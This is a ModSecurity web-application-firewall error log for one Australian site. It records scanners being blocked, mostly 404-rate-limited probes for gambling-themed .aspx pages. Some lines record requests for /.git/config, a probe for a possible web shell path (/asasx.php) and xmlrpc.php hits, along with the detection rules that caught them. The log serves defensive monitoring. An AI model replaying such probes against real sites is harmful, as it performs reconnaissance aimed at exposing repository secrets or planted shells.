[Sat Mar 28 04:22:48.750729 2026] [:error] [pid 64966:tid 64975] [client 195.201.199.99:48082] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acbnGNfSvF5AFfSuKxXa9gAAAMI"]
[Sat Mar 28 04:22:51.843272 2026] [:error] [pid 64860:tid 64920] [client 195.201.199.99:53282] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acbnGxkU3N0pg_4aEL-FjQAAAEw"]
[Sat Mar 28 04:22:54.759727 2026] [:error] [pid 2877:tid 2902] [client 195.201.199.99:53724] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acbnHrgM4xL1Xj409YS7LAAAARc"]
[Sat Mar 28 04:22:57.772967 2026] [:error] [pid 64859:tid 64901] [client 195.201.199.99:54190] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acbnIW3qEBHXq3rHdBmCkwAAABQ"]
[Sat Mar 28 04:23:01.097292 2026] [:error] [pid 2877:tid 2903] [client 195.201.199.99:54634] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acbnJbgM4xL1Xj409YS7PQAAARg"]
[Sat Mar 28 04:23:04.271617 2026] [:error] [pid 64861:tid 64944] [client 195.201.199.99:55032] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acbnKOxK22_lUN2kvnUlQwAAAIk"]
[Sat Mar 28 04:23:07.308885 2026] [:error] [pid 64966:tid 64984] [client 195.201.199.99:55404] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acbnK9fSvF5AFfSuKxXbGQAAAMs"]
[Sat Mar 28 07:47:56.227815 2026] [:error] [pid 34631:tid 34677] [client 122.51.236.174:60296] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "accXLDtzjMMS6kojpeQ1LAAAAdE"]
[Sat Mar 28 08:25:04.276791 2026] [:error] [pid 34631:tid 34667] [client 188.165.34.12:38566] [client 188.165.34.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "accf4DtzjMMS6kojpeRAswAAAcc"]
[Sat Mar 28 08:25:05.796640 2026] [:error] [pid 34597:tid 34624] [client 188.165.34.12:45622] [client 188.165.34.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "accf4YluI7-e5s1cafctfQAAAVc"]
[Sat Mar 28 09:25:45.969061 2026] [:error] [pid 34597:tid 34624] [client 2.58.56.116:52796] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "accuGYluI7-e5s1cafc6gQAAAVc"]
[Sat Mar 28 09:25:46.983063 2026] [:error] [pid 64860:tid 64909] [client 2.58.56.116:53210] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "accuGhkU3N0pg_4aEL8UcQAAAEE"]
[Sat Mar 28 09:25:48.042209 2026] [:error] [pid 34631:tid 34682] [client 2.58.56.116:53748] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "accuHDtzjMMS6kojpeRTwgAAAdY"]
[Sat Mar 28 09:25:49.052453 2026] [:error] [pid 34597:tid 34620] [client 2.58.56.116:55216] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "accuHYluI7-e5s1cafc6zgAAAVM"]
[Sat Mar 28 09:25:50.063284 2026] [:error] [pid 43579:tid 43613] [client 2.58.56.116:56104] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "accuHiRqN4JVI8gB7AmlfAAAAoU"]
[Sat Mar 28 12:53:39.147623 2026] [:error] [pid 34631:tid 34684] [client 104.208.74.146:4476] [client 104.208.74.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "acde0ztzjMMS6kojpeSlNwAAAdg"]
[Sat Mar 28 12:53:39.649695 2026] [:error] [pid 34631:tid 34665] [client 104.208.74.146:3444] [client 104.208.74.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "acde0ztzjMMS6kojpeSlOAAAAcU"]
[Sat Mar 28 12:53:40.148549 2026] [:error] [pid 2877:tid 2882] [client 104.208.74.146:2022] [client 104.208.74.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "acde1LgM4xL1Xj409YTzwgAAAQM"]
[Sat Mar 28 12:53:40.731549 2026] [:error] [pid 64860:tid 64929] [client 104.208.74.146:1308] [client 104.208.74.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "acde1BkU3N0pg_4aEL9Q8gAAAFU"]
[Sat Mar 28 13:52:42.986979 2026] [:error] [pid 34631:tid 34661] [client 170.106.167.214:36178] [client 170.106.167.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acdsqjtzjMMS6kojpeS2igAAAcE"]
[Sat Mar 28 15:10:06.861859 2026] [:error] [pid 34631:tid 34666] [client 106.119.167.146:40470] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acd-zjtzjMMS6kojpeTFzgAAAcY"]
[Sat Mar 28 17:58:58.182456 2026] [:error] [pid 64966:tid 64996] [client 61.1.151.176:65411] [client 61.1.151.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.1.151.176, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acemYtfSvF5AFfSuKxUq7QAAANc"]
[Sat Mar 28 19:03:12.065297 2026] [:error] [pid 64859:tid 64885] [client 49.150.106.140:40880] [client 49.150.106.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.150.106.140, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ace1cG3qEBHXq3rHdBk-pAAAAAQ"]
[Sat Mar 28 19:21:25.687026 2026] [:error] [pid 64861:tid 64943] [client 43.135.185.59:53884] [client 43.135.185.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ace5texK22_lUN2kvnVCzwAAAIg"]
[Sat Mar 28 21:25:29.052548 2026] [:error] [pid 34631:tid 34684] [client 81.167.26.57:38557] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acfWyTtzjMMS6kojpeRaJQAAAdg"]
[Sat Mar 28 21:25:31.597314 2026] [:error] [pid 64861:tid 64948] [client 81.167.26.57:25517] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acfWy-xK22_lUN2kvnV8CQAAAI0"]
[Sat Mar 28 21:25:34.225305 2026] [:error] [pid 64860:tid 64925] [client 81.167.26.57:14030] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acfWzhkU3N0pg_4aEL-kJwAAAFE"]
[Sat Mar 28 21:25:36.697178 2026] [:error] [pid 43578:tid 43587] [client 81.167.26.57:65182] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acfW0HNG2YdGm41aN8ICaQAAAkY"]
[Sat Mar 28 21:25:39.316839 2026] [:error] [pid 64861:tid 64939] [client 81.167.26.57:2897] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acfW0-xK22_lUN2kvnV8RAAAAIQ"]
[Sat Mar 28 21:25:41.945149 2026] [:error] [pid 34631:tid 34662] [client 81.167.26.57:33873] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acfW1TtzjMMS6kojpeRaPAAAAcI"]
[Sat Mar 28 21:25:44.402527 2026] [:error] [pid 64859:tid 64897] [client 81.167.26.57:47531] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acfW2G3qEBHXq3rHdBlbUAAAABA"]
[Sat Mar 28 21:25:47.045310 2026] [:error] [pid 64861:tid 64953] [client 81.167.26.57:25323] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acfW2-xK22_lUN2kvnV8agAAAJI"]
[Sat Mar 28 21:25:49.671729 2026] [:error] [pid 64861:tid 64941] [client 81.167.26.57:37698] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acfW3exK22_lUN2kvnV8fgAAAIY"]
[Sat Mar 28 21:25:52.289830 2026] [:error] [pid 64861:tid 64948] [client 81.167.26.57:1139] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acfW4OxK22_lUN2kvnV8vQAAAI0"]
[Sat Mar 28 21:25:54.925209 2026] [:error] [pid 64861:tid 64947] [client 81.167.26.57:25710] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acfW4uxK22_lUN2kvnV8xgAAAIw"]
[Sat Mar 28 21:25:57.558677 2026] [:error] [pid 64860:tid 64920] [client 81.167.26.57:17434] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acfW5RkU3N0pg_4aEL-kNQAAAEw"]
[Sat Mar 28 21:26:00.025456 2026] [:error] [pid 34597:tid 34604] [client 81.167.26.57:30779] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acfW6IluI7-e5s1cafehyAAAAUM"]
[Sat Mar 28 21:26:02.667021 2026] [:error] [pid 64861:tid 64955] [client 81.167.26.57:24542] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acfW6uxK22_lUN2kvnV82QAAAJQ"]
[Sat Mar 28 21:26:05.277509 2026] [:error] [pid 64966:tid 64982] [client 81.167.26.57:48587] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acfW7dfSvF5AFfSuKxU6xAAAAMk"]
[Sat Mar 28 21:26:07.728641 2026] [:error] [pid 64861:tid 64954] [client 81.167.26.57:24713] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acfW7-xK22_lUN2kvnV85AAAAJM"]
[Sat Mar 28 21:26:10.365730 2026] [:error] [pid 64966:tid 64986] [client 81.167.26.57:44638] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acfW8tfSvF5AFfSuKxU6xwAAAM0"]
[Sat Mar 28 21:26:12.835507 2026] [:error] [pid 34597:tid 34602] [client 81.167.26.57:17217] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acfW9IluI7-e5s1cafeh0AAAAUE"]
[Sat Mar 28 21:26:15.460422 2026] [:error] [pid 64861:tid 64939] [client 81.167.26.57:23233] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acfW9-xK22_lUN2kvnV88AAAAIQ"]
[Sat Mar 28 21:26:18.064168 2026] [:error] [pid 64861:tid 64935] [client 81.167.26.57:52307] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acfW-uxK22_lUN2kvnV8_QAAAIA"]
[Sat Mar 28 21:26:20.693207 2026] [:error] [pid 34631:tid 34665] [client 81.167.26.57:21357] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acfW_DtzjMMS6kojpeRafwAAAcU"]
[Sat Mar 28 21:26:23.149101 2026] [:error] [pid 34631:tid 34662] [client 81.167.26.57:19897] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acfW_ztzjMMS6kojpeRagQAAAcI"]
[Sat Mar 28 21:26:25.756106 2026] [:error] [pid 43579:tid 43625] [client 81.167.26.57:6226] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acfXASRqN4JVI8gB7An6fwAAApE"]
[Sat Mar 28 21:26:46.707122 2026] [:error] [pid 34631:tid 34667] [client 81.167.26.57:12645] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acfXFjtzjMMS6kojpeRapwAAAcc"]
[Sat Mar 28 21:26:49.233002 2026] [:error] [pid 43579:tid 43625] [client 81.167.26.57:50779] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acfXGSRqN4JVI8gB7An6iQAAApE"]
[Sat Mar 28 21:26:51.828278 2026] [:error] [pid 34631:tid 34675] [client 81.167.26.57:18628] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acfXGztzjMMS6kojpeRatwAAAc8"]
[Sat Mar 28 21:26:54.437515 2026] [:error] [pid 43547:tid 43572] [client 81.167.26.57:14546] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acfXHj4ZEfdetXP-9aABzgAAAhc"]
[Sat Mar 28 21:26:57.027034 2026] [:error] [pid 34597:tid 34625] [client 81.167.26.57:44940] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acfXIYluI7-e5s1cafeh8gAAAVg"]
[Sat Mar 28 21:26:59.632423 2026] [:error] [pid 34631:tid 34683] [client 81.167.26.57:40888] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acfXIztzjMMS6kojpeRaugAAAdc"]
[Sat Mar 28 21:27:02.236049 2026] [:error] [pid 34597:tid 34625] [client 81.167.26.57:53716] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acfXJoluI7-e5s1cafeh_QAAAVg"]
